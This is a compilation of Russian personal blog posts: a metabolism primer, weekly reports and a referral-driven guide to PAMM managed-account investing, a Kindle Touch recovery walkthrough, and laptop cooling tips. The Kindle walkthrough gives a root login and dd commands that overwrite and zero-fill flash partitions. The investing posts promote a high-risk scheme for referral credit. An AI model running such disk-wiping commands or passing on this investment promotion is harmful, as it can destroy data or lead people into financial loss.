Под ассимиляцией понимается образование сложных молекул из простых. При таком виде работы энергия затрачивается. Под диссимиляцией понимается распад сложных молекул на простые. В таком случае энергия образуется. Основным источником энергии в организме является АТФ – аденозинтрифосфорная кислота, из одной молекулы которой образуется 7, 3 калории.

Принято выделять макроэргические соединения, которые представляют собой химические соединения. При их окислении в организме образуется большое количество энергии. Следовательно, образуется большое количество АТФ.

Между тем, принято выделять также первичную и вторичную теплоту. Под первичной теплотой понимается тепло, которое образуется при синтезе АТФ. Вторичное тепло образуется при использовании АТФ для выполнения какой-либо деятельности. Для справки, коэффициент полезного действия нашего организма равняется 21%. Это означает, что только пятая часть энергии, образуемая в нашем организме при расщеплении макроэргических соединений, идёт на выполнение работы, тогда как остальная рассеивается в виде тепла.

Куда тратится энергия?

Следует заметить, что энергия затрачивается не только привычную для всех работу, как то поднятие тяжестей, занятие бодибилдингом и прочее. На первых этапах энергия затрачивается на поддержание основных функций организма. Поэтому существует такое понятие, как основной обмен, под которым понимается минимальное количество энергии, необходимое для поддержания жизнедеятельности. При этом основной обмен измеряется в стандартных условиях и в полном покое. Как правило, для мужчины этот показатель равняется 1500-1700 килокалориям, тогда как для женщин этот показатель на 10% ниже. Кроме того, дополнительно выделяется должный основной обмен, который учитывает возраста человека, рост и его массу.

Когда требуется подсчитать потребность в энергии с учётом расхода энергии на выполнение определённого рода работы, вводится понятие рабочей прибавки. В конечном итоге получается рабочий обмен, под которым подразумевается величина всех энергозатрат человеческого организма в процессе его жизнедеятельности.

В обязательном порядке нужно помнить, что вещества, которые поступают с пищей, в дальнейшем используются на обновление организма, построение тканей и компенсацию энергозатрат. Так что питается человек не только для того, чтобы покрыть свои энергозатраты, но и чтобы в организме надлежащим образом функционировали все органы и системы. Значит, пища выполняет и пластическую функцию.

Пластическая функция пищи заключается в том, что при прохождении через пищеварительный тракт она разбивается на мелкие молекулы, которые в последующем будут использоваться для построения клеточных мембран, биологически активных веществ (гормонов), обновления тканей и органов организма.

Именно здесь на первый план выходит правило изодинамии, при котором вещества могут заменять другие в соответствии с их калорийностью, при этом их пластические функции не учитываются. Кроме того, обязательно нужно учитывать и уровень азотистого обмена, под которым понимается совокупность всех превращений белков и азотсодержащих веществ. Может наблюдаться как положительный азотистый баланс, так и отрицательный. В первом случае количество азота, которое поступает в организм, больше выводимого. Во втором случае превалируют процессы выведения азота из организма над его поступлением. Следует заметить, что при нормальном функционировании наблюдается азотистое равновесие. В детском возрасте отмечается положительный азотистый баланс, который имеет место быть и при усиленных физических нагрузках.

Между тем, принято выделять так называемые балластные вещества, которые хоть и не усваиваются организмом, но необходимы для его нормального функционирования и для нормальной работы кишечника. К таким веществам можно отнести пектины, целлюлозу, клетчатку. Существуют также нутриенты, которые представляют собой компоненты пищи, используемые организмом как для энергообмена, так и для пластических функций.

Кроме того, в последние годы благодаря массовым публикациям в СМИ люди не имеют должного представления о таком понятии, как диета. Под диетой понимается специально разработанный режим питания, при котором учитываются компоненты пищи, их количественный и химический состав, физические свойства, кулинарная обработка, строго подходят и к интервалам между приёмами пищи. Так что полагать, что диеты существуют только для похудания, по меньшей мере, глупо.

Специально для atamovich.ru
Партач Василий,
Врач акушер-инфекционист

Поскольку последние 4 недели я не публиковал отчетов, логично будет сделать это сейчас!

Для полноты картины в табличке будет информация и за 16 неделю, о которой я писал здесь.

Не считая последней недели, картина была хороша;) Оно и понятно, Оболин отбивал свою просадку, а АлексЖук ее отбил еще на 16 неделе и дальше продолжал в том же духе. Свен сработал почти как всегда +4-5% за месяц. Напомню, в начале января я на все три счета положил по 710$. С того момента получилась следующая картина:

Для увеличения, нажми на картинку.

Чтобы снизить риски, я решил расширить портфель. Выбрал уже знакомого мне управляющего — Веронику(7165). Минимальный вход 1000$, поэтому придется снизить доли других управляющих.

С этого дня мой портфель выглядит вот так:

На днях заглянул в общую статистику, посмотрел общий результат моего инвестирования, то есть сколько заработал с самого создания акканута в fx-trend. Думаю, будет интересно посмотреть:

Итого получается +169,82$, а если не брать в расчет тот неудачный опыт (который я описал тут), то вообще +269,82$ 😉

Что ж, если вы заинтересовались, то предлагаю почитать статью С чего начать инвестирование в ПАММы? и зарегистрироваться! Мне будет приятно, если при регистрации у вас в поле Агент будет написано Atamovich.

На этом все, жду комментариев!

Александр Лощев,
aka Atamovich

Жук наконец вышел в плюс, Оболин тоже активно отбивает свою просадку, Свен как всегда стабилен.
На этой неделе ситуация примерно такая:

Если посмотреть общую картину, то за последние 5 недель вот такая ситуация:

Я верю в Оболина, он опытный управляющий, поэтому не тороплюсь выводить деньги с его счета. Думаю, он обязательно выйдет в плюс.

Желаю вам удачи!
А мне пора ехать в баню;-) На родине же! В Питере вот у меня нет свой бани))

Успехов в инвестировании вам, друзья!

Александр Лощëв, aka Atamovich

Да, так тоже бывает. Сейчас он уже начал отбивать свое, как это делает АлексЖук. Думаю, через пару недель/месяц выйдет в плюс или хотя бы в ноль.
Sven продолжает радовать!
Из за последней недели месячная просадка получилась 22,65$. За всю мою историю это в первые, хотя история не велика, всего 4 месяца.
Что ж, на этом все, дорогие друзья. Этот текст пишу с новенького планшета в аэропорту, пока жду посадку, поэтому привычной таблице предпочел картинку:)

Ваш Atamovich

Сильно расписывать не буду, скажу только, что На этой неделе хорошо поработал только АлексЖук (это и не удивительно, ведь на прошлой была просадка!). Оболин чуть не дал минус, но справился с ситуацией и даже дал небольшой плюс.

Табличка:

Такие пироги:)

Если захотели зарегистрироваться, то милости прошу!

Александр Лощев,
aka Atamovich

На этой неделе у меня случился первый минус (не считая того летнего случая с агрессором). Не сказать, что я его ждал, но сильно удивлен не был. Все таки инвестирование в ПАММы это достаточно рискованный вид вложения денег.

На этой неделе AlexZhuk дал аж — 5,56%! Что составило -40.03$.

Зато остальные управляющие повели себя хорошо. Investobolin дал на этой неделе хороший плюс, целых 2,24%. Sven торговал в обычном режиме, 1,53%.

Итого, мы имеем следующую ситуацию:

Итог: -12,82$

Если учесть, что на прошлой неделе управляющие дали прибыль в +36,73$, то за 2 недели получается +23,91$.

Что ж, посмотрим, как события будут дальше развиваться!

Выйдет ли Жук из просадки, будут ли стабильными другие управляющие? Об этом вы узнаете в следующем отчете!

А пока предлагаю оставить комментарий:-)

Александр Лощев,
aka Atamovich

—-Кто не хочет читать, а хочет инструкцию, нажмите сюда.—-

Все как обычно: выбрал читалку, нашел где подешевле и забрал. Разумеется, сразу обновил до последней версии прошивки 5.1 . И, разумеется, взломал\поставил русский интерфейс\русскую клавиатуру и еще несколько приятностей. Как же без этого дарить читалку? 😉

Подарил сударыне, которая обрадовалась столь долгожданному подарку. На этом история могла закончится, но… нет! Атамовичу никогда не сидится на месте, если есть новая прошивка и можно что-нибудь обновить!

Так и случилось, вышла прошивка 5.1.2 и я конечно же быстренько полез скачивать файл обновления, чтобы обновить девайс.

Обновил, угу… Маленький Киндл перестал загружаться.

Что же делать, как же быть? — кричал Атамович и бегал по кругу, размахивая руками.

Ладно-ладно, не бегал и не кричал.

Полез в интернет, искать причину\решение (хотя причина то ясна-руки, которые всегда чешутся что-нибудь обновить).

Нашел большую статью о том, как восстановить девайс, но застрял на каком-то пункте, уже не помню.

Подумал, раз я не справился, отдам однокурснику  который шарит в linux, чтобы он разобрался. Kindle ведь на Андройде, а Андройд это фактически линукс:-)

Он не разобрался.

Я подумал: «Раз уж ОН не разобрался, то мне совсем тут делать нечего… Пойду в сервис-центр…»

Сходил, отдал книжку. Обещали починить. Не починили. Говорят: «чтобы починить, нужен сервисный кабель! А у нас его нет, так что увы и ах, берите назад свою книгу.»

Так, — думаю, — раз в сервисном центре не смогли починить без кабеля, то и мне никак не подвластно это! Буду искать кабель!

К счастью, нашел схему, как спаять этот сервисный кабель из обычного data-кабеля от старого телефона.

Осталось найти кабель от телефона. После почти двух или трех месяцев поиска человека, у кого есть ненужный кабель, я его нашел!!! И сразу обезглавил:

Думаю, ай да молодец! Сейчас как куплю резисторов и диодов и будет мне счастье! Ведь книгу то уже расковырял и все проводки прикрутил! Кстати, выглядела книжка вот так вот:

На всякий случай поясню: я прицепил три проводка к сервисному порту читалки, чтобы напрямую подключиться к железу и сделать все, что надо сделать.

Но тут меня посетила странная мысль! А может перед покупкой резисторов и диодов стоит еще раз изучить тему?!

Полез в интернет и решил еще раз вникнуть в тему. Снова наткнулся на список действий для восстановления на сайте beznervov.com и решил снова пройтись по ним. А вдруг на этот раз получится?!

Итак, список действий:

1) Заряжаем нашу читалку хотя бы часов 5 (хотя я заряжал около 2 или 3х). Но лучше до упора (часов 20).

2) Скачиваем файл KINDLE.RAR (на Яндекс.Народ) — в нем почти все, что нам необходимо.

3) Подключаем читалку к компу и нажимаем на кнопку включения около 20 секунд (пока не погаснет). Как только погас огонек, нажимаем на вторую (других кнопок больше нет) кнопку и отпускаем первую. Комп должен издать звук подключения нового устройства.

4) В скачанном архиве у нас есть файл \kindle\Kindle Select Boot\Mfgtool.exe — запускаем.

5) Продуем выбрать Kindle diags и нажать START.

6) Если вам повезло больше, чем мне (об этом позже), то вы увидите раздел диагностики. В нем вам нужно включить USB mode ( пункт U) и перекинуть в корень читалки файлик mmcblk0p1.img, который есть в скачанном архиве.

7) Теперь нужно повторить пункты 3 и 4. Но теперь выбираем не Kindle diags (диагностический режим), а Kindle fastboot. Ждем, когда читалка установится системой. В диспетчере устройств это будет выглядеть, как Kindle.

8) Запускаем kindle\libusb\inf-wizard.exe и нажимаем next пока нас не попросят выбрать устройство. Разумеется выбираем Kindle. Дальше все время Next и в конце Install now.

9) Теперь нам надо зайти в командную строку. В семерке это выглядит как: Пуск — *в строчке поиска вводим CMD* — нажимаем Etner.

10) Теперь нам надо попасть в каталог KINDLE (которые мы распаковали из скачанного архива). У меня это выглядит так:

То есть, если у нас папка лежит на диске С, пишем:

cd ..

cd ..

cd kindle

11) затем по очереди пишем следующие строки:

fastboot flash diags mmcblk0p2.img
fastboot setvar bootmode diags
fastboot reboot

Если не будет работать (а об этом вы узнаете через 1-2 секунды после написания строчек), то просто заново повторите пункты 3 и 4 и загрузитесь в fastboot. Кстати, если у вас совсем не работает диагностический режим, то решение как раз на этом пункте. Но об этом чуть позже.

12) Загружаемся в диагностический режим (пункт 3, 4 и 5). На читалке нажимаем N) U) Z) X) и снова X). После этих действий читалка запустит у себя SSH-сервер.

13) Винда у вас начнет опознавать устройство, но не опознает его. Поэтому идем в диспетчер устройств, находим не установленное и ставим драйвер к нему. Драйвер лежит все в той же скачанной папке\kindle\RNDIS_DRIVER_x86_x64.

14) Теперь нам нужно скачать PUTTY и присоединиться к устройству. В сетевых соединениях появилось новое соединение, установим его IP адрес 192.168.15.201 (для проверки пробуем пропинговать PING 192.168.15.244).

15) Через PUTTY подключаемся к 192.168.15.244 и вводим логин и пароль:

Логин: root
Пароль: mario 

16) Если зашли и все хорошо, нам нужно ввести:

dd if=/mnt/us/mmcblk0p1.img of=/dev/mmcblk0p1 bs=4K

очень внимательно введите эту команду. После ввода и нажатия Enter читалка будет обрабатывать команду и немного подвиснет. Джем около 3-5 минут.  В конце процедуры система покажет примерно такое: 89600+0 records in    89600+0 records out … После этого можем переходить к следующему пункту.

17) Выполняем в PUTTY четыре команды:

sync
dd if=/dev/zero of=/dev/mmcblk0p3 bs=4K
dd if=/dev/zero of=/dev/mmcblk0p3 bs=4K count=1K
reboot

18) Вы должны загрузиться снова в режиме диагностики. Чтобы из него выйти, нужно нажать на disable diags (или как-то так). Устройство перезагрузится и… должно загрузиться!!

ЕСЛИ АППАРАТ ПО КАКОЙ ТО ПРИЧИНЕ НЕ ВЫХОДИТ ИЗ РЕЖИМА ДИАГНОСТИКИ:  ENABLE_DIAGS в корне отсутствует, попытке нажатия на disable diags в режиме диагностики пишет, что нет файла device_info.xml.Создаем пустой файл device_info.xml, копируем его в папку diagnostic_logs и делаем disable diags. Теперь все работает.
Большое спасибо пользователю: Grom24h

Если показывает сообщение «No space left on device») единственный выход — это ставить Ядро 5.0.0
Большое спасибо пользователю: Максирм

За материал спасибо сайту beznervov.com

А теперь самое интересное!

Если у вас не грузится даже в режим диагностики!

На этапе 11 вам нужно написать немного другие команды и скачать другой файлик.

K5(Touch) diags images with SSH (5.0.0 diags kernel used with 5.0.0 through 5.0.3 mmcblk0p2):
diags_kernel 5.0.0: http://www.mediafire.com/?wxv0eat6lcz6mx6
diags_kernel 5.0.0: http://ge.tt/api/1/files/9fZW1aL/1/blob?download

Скачиваем по любой ссылке файл и закидываем в ту же папку KINDLE.

И вместо тех 3х команд пишем следующие:

fastboot.exe flash diags_kernel kt_5.0.0-diags_kernel.img 
fastboot.exe flash diags mmcblk0p2.img 
fastboot.exe setvar bootmode diags 
fastboot.exe reboot

Первая команда как раз и восстанавливает наш раздел диагностики! 😉 А дальше все по остальным пунктам!

За эту инфу отдельное спасибо pascalist с форума the-ebook.org. Вот это сообщение мне как раз и помогло!

Мораль сей басни такова: Изучите вопрос досконально и никогда не опускайте руки! 

Моем случае не помог ни друг, который хорошо знает Линукс, ни даже сервис центр!

Пришлось читалку собрать обратно и теперь она полностью рабочая, только немного поцарапана (заднюю крышку очень тяжело снимать).

Успехов вам!

Александр Лощев

aka Atamovich

Свен и Оболин молодцы, почти 2%! Так как изначальные суммы одинаковые, легко будет сказать в конце месяца, кто январь торговал лучше;-)

Если в html-табличке, то

Получается как-то так. Итого доход +36,73$!

В сумме получается очень даже вкусный доход:-) Если вы захотели заняться этим делом, то я написал достаточно большой мануал «Как начать инвестировать«. Милости прошу!

Делитесь своими результатами! А я ушел учить. Сессия же..

Александр Лощев,

aka Atamovich

Постоянно радовал АлексЖук, не зря в него вложил, тьфу-тьфу-тьфу.

Свен как всегда, показал достаточно хорошую доходность.

Вероника немного огорчила, почти в 2 раза ниже доход, чем у остальных управляющих в моем портфеле.

За 11 неделю управляющие показали следующий результат:

Да, работал один АлексЖук:-) За что ему огромное спасибо! Планку в 100$ так и не удалось преодолеть, но осталось всего 3,91$.

Итого за весь месяц у нас получается следующая картина:

Дабы не быть голословным, вот скриншот общего счета:

Я решил вывести все деньги со счетов управляющих, добавить 33,91$ и распределить по 710$ между следующими управляющими:

Еще одна хорошая новость. Я наконец-то систематизировал все информацию по инвестированию в Excel, так что в дальнейшем отчеты будут выглядеть в одном стиле.

Все, хватит тут писать, ушел учить язык Ассемблера… Скоро экзамены…

Спасибо за внимание. Жду комментариев! Если сами инвестируете, то как у вас успехи?

Александр Лощев,

aka Atamovich

Всем привет! Пользуясь случаем, хочу всех поздравить с наступившим Новым 2013 годом!! Так необычно писать 3 вместо 2, такое чувство, что что-то не так… Так и хочется написать 2012.

2012 был очень насыщенным для меня годом. Почти весь год (с февраля) работал в веб-студии, занимался SEO. Учился. На блог времени не было… Планирую сюда написать несколько статей по SEO, так сказать выдержку опыта сеошника. А то все инвестирование да инвестирование, наверное уже надоел вам 🙂 А теперь к делу!

Помните, я писал статью о том, как Как почистить радиатор кулера ноутбука?  Выводы после чистки есть в прошлой статей, а сейчас я хочу поделиться вот чем:

Прошло всего 3 месяца, а ноутбук снова начал греться до 88 градусов при простом серфинге в интернете! Я думал, из-за чего же это может быть? Ведь радиатор чистый, всего 3 месяца назад чистил (26 сентября), термопаста достаточно новая, драйвера все стоят… Что же делать, когда ноутбук так сильно греется? Разбирать! 🙂

В итоге все таки виноват радиатор, точнее пыль в нем. Смотрите сами:

Пыль между радиатором и вентилятором

Снова огромный пласт пыли! Откуда?! Неужели у меня дома так грязно?? Прошу прощения за некачественное фото, что было под рукой, тем и сфотографировал…

Конечно, ноутбук в основном используется на кровати, оттуда и пыль…

Так вот, вывод — если после нескольких месяцев после чистки ноутбука у вас он снова начал греться — это вероятнее всего снова забился радиатор!

После очистки, температура упала на 30 градусов! Теперь при серфинге в интернете (преимущественно просмотр онлайн видео) температура не поднимается выше 55 градусов.

Вот так вот, друзья! Берегите себя и свою технику!

Александр Лощев

aka Atamovich

К чему это я? Ах да, отчет по инвестированию за 10 неделю.

На этой неделе даже некогда было посмотреть, что творят управляющие. Как оказалось, ничего криминального:)

Все трое управляющих показали достаточно низкую доходность, видимо играет роль приближающийся праздник:-)

Хотя АлексЖук все равно порадовал:)

Итого: +20,82$ за неделю.
А за три недели после перераспределения портфеля получается +84,42$!

Жду, когда прибыль будет 100$ и планирую влить в Investobolin.

Всех хороших праздников!

Александр Лощев,

aka Atamovich

За эту неделю прибыль составляет +33,17$ со всех трех управляющих, а именно:

Хорошо, что не влился в ТР, у него была просадка на прошлой неделе (только сейчас заметил).

Итого получается за две недели +63,62$.

Неделька выдалась жаркой, сразу несколько зачетов в один день, лабораторные работы, работа и так далее… А тут все спокойно, деньги продолжают работать 🙂

Надеюсь, то, что я пишу, хоть кому-то интересно. Если захотели присоединиться ко мне и тоже начать инвестировать, я написал статью «Как начать инвестировать«.

Александр Лощев,

aka Atamovich

Неделю назад я переформировал свой инвестиционный портфель. К лучшему или нет, пока рано говорить, а пока на этой неделе отличился Свен, выдав аж +3.11%! Вероника заставила меня поволноваться. Почти всю неделю держался минус, но потом она отыгралась! В общем, ситуация следующая:

Итого: +30,48$

Хочу напомнить, я написал подробный мануал «С чего начать инвестировать» — так что если интересно, добро пожаловать!

Александр Лощев,

aka Atamovich

Я уже 2 месяца достаточно успешно инвестирую, тьфу-тьфу-тьфу, поэтому решился посоветовать широкому кругу людей эту тему. Ниже вы увидите полный путь «начинающего инвестора»: от создания аккаунта до вывода денег.

 Этапы:

1. Регистрация;
2. Создание инвестиционного счета;
3. Поиск адекватного и стабильного управляющего;
4. Принятие оферты управляющего;
5. Пополнение инвестиционного счета;
6. Перевод с инвестиционного счета на счет управляющего;
7. Вывод со счета управляющего на инвестиционный счет;
8. Вывод с инвестиционного счета к себе в карман.

Чтобы начать инвестировать, я советую иметь на руках\карточке\webmoney хотя бы 200$. Почему именно 200 я расскажу дальше. На самом деле можно начинать и с 50$, но риски увеличиваются в разы (опять же, объясню позже).

Этап 1. Регистрация

Чтобы зарегистрироваться, вам нужно пройти по этой ссылке.

Вы увидите Главную страницу с рейтингом. Слева будет окно входа.

Нажимаем на «Регистрация». Дальше откроется окно, в которое должно выглядеть так:

Проследите, пожалуйста, чтобы в поле Ник агента было написано Atamovich. В этом случае можете рассчитывать на мою поддержку 🙂 Хотя кого я обманываю, помогаю все равно всем. Просто мне будет приятно.

Заполняем все поля. Очень советую внимательно отнестись ко всем полям. Их исправлять будет потом очень проблематично.

На почту придет письмо с подтверждением регистрации. Советую сохранить его 🙂

Отлично! Зарегистрировались, теперь пришло время создать счет инвестора!

Этап 2. Создание инвестиционного счета

Вот вы зарегистрировались и находитесь в личном кабинете. Нажимайте «Мои счета». После чего вам нужно будет создать новый инвестиционный счет.

Создаем счет:

ВНИМАНИЕ! В поле Тип Счета должно быть написано именно «инвестиционный«! Если там такого нет, то вам нужно принять оферту. Это можно сделать по следующим ссылкам: Вероника, Свен, Жук. Внизу страницы будет большая зеленая кнопка «Принять оферту«, ее и надо нажать.

Теперь у вас под надписью Инвестиционные счета должен образоваться ваш свежесозданный счет!

Этап 3. Поиск адекватного и стабильного управляющего

Ищите управляющего, который хотя бы 5-8 месяцев успешно торгует. Не бегите за большими процентами новичков — агрессоров, это чревато сливом всех ваших денег.

Консерватор: управляющий, который торгует не много, но очень осторожно. Его главная цель — сохранить счет и получить прибыль, хоть и маленькую. Достаточно высокая планка входа. Маленькие риски — низкие доходы.

Агрессор: управляющий, который торгует много и активно. Рискует всем своим капиталом, чтобы извлечь максимальную прибыль. Низкая планка входа. Большие риски — высокие доходы.

Обычно, чтобы начать инвестировать в агрессора, достаточно 10-50$, а в консерватора — 200-500$.

На данный момент я вкладываю только в консервы. Смело могу порекомендовать следующих консервативных управляющих: Sven (200), AlexZhuk (200), Veronika (1000). В скобочках я указал минимальную сумму, с которой можно начинать инвестировать в управляющего. Ники нажимабельны, можете посмотреть историю торговли и принять оферту.

Этап 4. Принятие оферты управляющего

Вы выбрали человека, кому доверите свои деньги. Для того, чтобы начать инвестировать в него нужно нажать большую зеленую кнопку «Принять». Например, если вы пройдете по ссылке, то увидите внизу вот такую кнопку:

Ее и нужно нажать 🙂 После нажатия считается, что вы приняли оферту управлющего.

Этап 5. Пополнение инвестиционного счета

Для того, чтобы инвестировать, необходимо закинуть деньги на свой счет. Есть много способов сделать это. Я пользовался только двумя, поэтому про них и расскажу. Первый способ переводит деньги моментально, второй — некоторое время.

Вариант 1. Пополнение через WebMoney

• Для начала нужно зайти в мои счета (можете нажимать, ссылка приведет именно в ваши счета);
• Далее, нужно нажать на зеленую денежку около своего счета (в описании второго этапа есть скриншот, где вы можете увидеть эту денежку, она находится слева);
• Выбираем «Оплатить по системе WebMoney — WMZ«;
• Вводим необходимую сумму (эту сумму вы можете потом раскидать на всех управляющих).

• Нажимаете «Продолжить«,  и затем «Приступить к оплате«. Вы будете отправлены на стандартный сайт WebMoney, где сможете совершить платеж. Все предельно просто.

Вариант 2. Пополнение через x-change

Заходим на страницу с описанием, там все описано 🙂

Единственная моя поправка: в родной инструкции написано использовать номер торгового счета. Но у нас нет торгового счета, так как мы инвесторы, а не игроки! Поэтому копируем номер своего инвестиционного счета.

Если коротко о процедуре, то вот:

• заходим на сайт и заполняем все формы;
• приходит письмо на почту, очень внимательно его читаем;
• совершаем платеж, согласно инструкциям, пришедшим на почту;
• ждем, когда деньги дойдут до нашего счета (от 5 минут до 4 часов, по моему личному опыту).

 Этап 6. Перевод с инвестиционного счета на счет управляющего

Итак, деньги на свой счет перевели, но они лежат там мертвым грузом, а нужно, чтобы они работали!

Заходим по ссылке (Из левого меню: ПАММ -> Инвестор). Видим свои счета, а если не видим, то нажимаем на вкладку «Все счета«. Нажимаем на зеленую денежку (да-да, такую же, как и на своем счете).

Вводим сумму и код протекции. Нажимаем «Приступить к оплате«. Вот и все, деньги начали работать!

Этап 7. Вывод со счета управляющего на инвестиционный счет

Через неделю вы получили свой первый результат (если вкладывались в консерваторов, то скорее всего прибыль 😉 ) и захотели вывести деньги.

Для этого снова заходим сюда (Из левого меню: ПАММ -> Инвестор) и нажимаем на inv**** (где **** ваш номер счета). Кстати, тут вы можете посмотреть свою прибыль от каждой сделки управляющего. Как правило, консерваторы торгуют мало и сделок, соответственно, мало.

И нажимаем «Вывести средства«. Дальше есть 4 варианта (допустим вы инвестировали 1000$ и получили прибыль в 9.43$ с первой недели):

• Закрыть счет с выводом всех средств (1009.43 USD) по окончанию торгового периода;
• Вывод определенной суммы сверх минимального депозита (к снятию доступно: 9.43 USD);
• Вывод всей прибыли за текущий торговый период (9.43 USD);
• Досрочный вывод всех средств со штрафом в размере 50% (будет выведена сумма: 504.71 USD).

Я пробовал только первый и третий пункт. После нажатии «Приступить к выводу» деньги переведутся на ваш инвестиционный счет.

Этап 8. Вывод с инвестиционного счета к себе в карман

Если вам понадобились деньги или вы больше не хотите инвестировать, пришло время выводить деньги с инвестиционного счета на свой кошелек или банковскую карту.

Хочу заметить, что система комиссии не берет, поэтому есть ограничение: Если ввели 100% через вебмани, то все 100% можно вывести только через вебмани. Поясняю: вы ввели 500$ через вебмани и 500$ через x-change. За какой-то период эта сумма переросла, допустим, в 2000$. Вам доступно вывести 1000$ на вебмани и 1000$ через x-change. То есть тут идет процентное соотношение.

Свое процентное соотношение вы можете посмотреть на этой странице. На ней же и выводятся деньги из системы в кошелек. Выбираем ту систему, через которую вводили деньги:

Нажимаем «Приступить к выводу«.

Вот и все. Для x-change немного другая процедура. Все делается через их сайт. Впрочем, если вы вводили через этот сайт, то на вывод процедура один в один такая, только адресаты меняются.

Надеюсь, этот неБольшой мануал кому-нибудь будет полезен!

Успехов в инвестировании!

Александр Лощев,

aka Atamovich

В прошлом своем посте я писал о своих пробах и ошибках в инвестировании. В прошлом месяце результат был +50.28$. Сегодня я подведу итог двум месяцам инвестирования в ПАММ счета. На мой взгляд, месяц выдался удачным.

За неделю 19.11.12 — 24.11.12 заработано:

Sven: +8,54$
Veronika: +10.24$
Итого за неделю: +18,78$ 

За неделю 24.11.12 — 01.12.12 заработано:

Sven: +10,23$
Veronika: +16.79$
Итого за неделю: +27,02$

За неделю 02.11.12 — 09.12.12 заработано:

Sven: +13,94$
Veronika: +14.72$
Итого за неделю: +28,36$

То есть за 3 недели я получил +74,16 зеленых.
В сумме за 7 недель получается +124,44$.
Знайте, я рад. Правда 🙂

У учетом, что я летом слил 100$ на агрессора, то я в плюсе в 24,44$ 🙂

Все, что было на счетах я вывел. Сейчас я еще долил чуть-чуть до общей суммы в 2000$.

Теперь мой портфель выглядит вот так:

Нужно ведь увеличивать количество управляющих, для большей стабильности.

Решил вложить в следующих управляющих:

• Sven
• Veronika
• AlexZhuk

Можете нажать на любого и посмотреть историю его торговли, а также принять оферту и тоже начать вкладывать в него!

Если все-таки решили зарегистрироваться, то пожалуйста, обратите внимание, чтобы при регистрации в поле Агент было написано Atamovich. По крайней мере, мне будет приятно:)

Хочу узнать ваше мнение на счет публикации отчетов. Чтобы его выразить, ответьте в опросе или напишите комментарий.

До скорых встреч!

Александр Лощев,
aka Atamovich

Все началось с того, что я прочитал книжку «Самый богатый человек в Вавилоне» Джорджа Клейсона, о которой написал в этой статье, затем прочитал «Бедный папа, богатый папа» и «Квадрант денежного потока» Роберта Кийосаки и тут понеслось:)

Я понял, что нужно откладывать часть зарплаты и создавать активы. Я начал искать возможности, куда можно вложиться, чтобы через определенное время вложения приумножились. Не буду описывать, как проходили мои поиски, важно одно — я остановился на инвестировании в ПАММ счета.

Дальше я задумался, в кого вкладывать, так как есть два типа управляющих: консервативные и агрессивные (консервы и агрессоры).

По своей глупости (или молодости) решил не мелочиться и вложить 100$ в агрессора (там более, что эти деньги были не кровно заработаны, а получены с какой-то партнерки, но это уже не важно).

Вот что из этого вышло:

Нужно смотреть колонку «Ваш доход» снизу вверх.

Каждое «закрепление результата» или ролловер происходит в субботу в 10.00 утра. В пятницу утром я был безмерно рад, так как прибыль была 20%! И у меня было уже не 100$, а 120$! «Вот она, золотая жила!» — подумал я.

Но вечером на управляющего что-то нашло и он слил весь счет. Я остался у разбитого корыта.

Разумеется, я расстроился и решил не вкладывать больше, по крайней мере ближайшее время.

Спустя 3 месяца, в октябре, я все же решился вложиться. На этот раз в «консервы», а конкретно, в Sven’a.

Данный управляющий аж с 2010 года ведет этот счет и показывает достаточно стабильные результаты (но то это и консервы, разумеется 😉 ).

Он если и просаживался, то старался быстро отбить просадку. Собственно по этому я и решил вложиться именно в него (точнее сказать, навел меня на эту мысль Вячеслав, о котором я упомяну позже), так как на прошлой неделе у него как раз была просадка.

Вот результат его торговли за последние 4 недели (специально ждал, чтобы получился один целый месяц):

Читать снова нужно снизу вверх. Красным выделена как раз последняя просадка, после которой я влился.

Итоги его торговли таковы: прибыль 6,5% (что является +40,3$ для меня).

Доступная сумма для снятия мала, так как эти 4,64$ заработаны за последнюю неделю, а весь заработок с предыдущих недель я выводил.
Если уж мне не верите, вот скриншот:

Периодически заглядываю на блог к Вячеславу, у которого портфель инвестирования гораздо больше. Советуюсь:)

Увидев, что инвестирование в ПАММ это не пирамида или лохотрон, решил вложиться еще в одного управляющего, в Веронику.

Вложился всего неделю назад, поэтому ничего пока сказать не могу, но результат радует.

Тьфу-тьфу-тьфу, что б не сглазить:)

Влился в среду, поэтому не смог получить прибыль со сделки вторника.

Получается, за 4 дня заработано +10.28$.

Хотелось бы подвести итог моей инвестиционной деятельности (не считая того случая со 100$ и сливом):

Sven: +40,3$
Veronika: +10.28$
Итого: +50,28$ 
Вот таков мой итог. Жду комментариев! Через месяц ждите новый отчет:) До скорых встреч!

Александр Лощев,
aka Atamovich

Сегодня я покажу, как почистить радиатор кулера ноутбука.

 Не буду описывать процесс сборки и разборки ноутбука, так как он достаточно хорошо на мой взгляд описан в следующих статьях:

• Как разобрать ноутбук HP Pavilion dv6
• Как разобрать ноутбук HP Probook 4710s
• Как поменять термопасту на ноутбуке
• Тотальная разборка ноутбука HP 4710

Кстати в статье про замену термопасты я совершил ужасное упущение! Пасту то я поменял, а радиатор не почистил! В видео выше исправляюсь;-)

Итак. Ноутбук греется! Разобрали, материнку сняли, осталось решить, что со всем этим делать.

Если вы термопасту не хотите менять, то можете просто открутить вентилятор, как показано на видео и прочистить радиатор. Для надежности, можно еще и сжатым воздухом продуть решетку радиатора.

Если вы еще и термопасту собрались менять, то советую сделать все вместе. А именно:

• Отсоединяем систему охлаждения от материнской платы;
• счищаем остатки старой термопасты;
• снимаем кулер (проверяем, не осталось ли чего из электрики);
• несем радиатор с медными трубками в ванную;
• моем его с мылом 🙂
• сушим;
• наносим новую термопасту и собираем все обратно;
• пишем в комментариях, насколько градусов упала температура!

На всякий случай даю картинку, показывающую вентилятор, который необходимо отсоединить от радиатора, чтобы добраться до слоя пыли:

Разумеется я снял температурные показатели после проведения чистки.

При спокойной работе (почти ничего не запущено) процессор греется всего лишь до 50-51 градусов.

Температура без нагрузки после чистки радиатора

И конечно же я чуть чуть погонял машину в течении 10-15 минут на полную катушку.

Температура с нагрузкой после чистки радиатора

Как можете видеть, средняя температура 55 градусов, максимальная 61. Конечно, я гонял тестером от AIDA64, играми не нагружал, поэтому результат может быть не очень чистым.

Тем не менее, теперь система охлаждения хотя бы СПРАВЛЯЕТСЯ со своей задачей, а не работает, как обогреватель!

Надеюсь, эта статья вам помогла.

UPD от 06.01.2013: Что может произойти с охлаждением через 3 месяца? Читаем в этой статье!

Александр Лощев
aka Atamovich 

Для наглядности, вот скриншот (сжимать не стал, каждый скриншот по 200Кб):

Перерыв тонны мусора в интернете, все таки нашел то, что нужно! Решение!

Оказывается, нужно поиграть с языками;-) То есть на русском или в транслите будут приходить нам сообщения от нашего оператора.

Для смены языков нужно набрать следующие команды:

*111*6*1# — переключить на русский язык;

*111*6*2# — установить транслит.

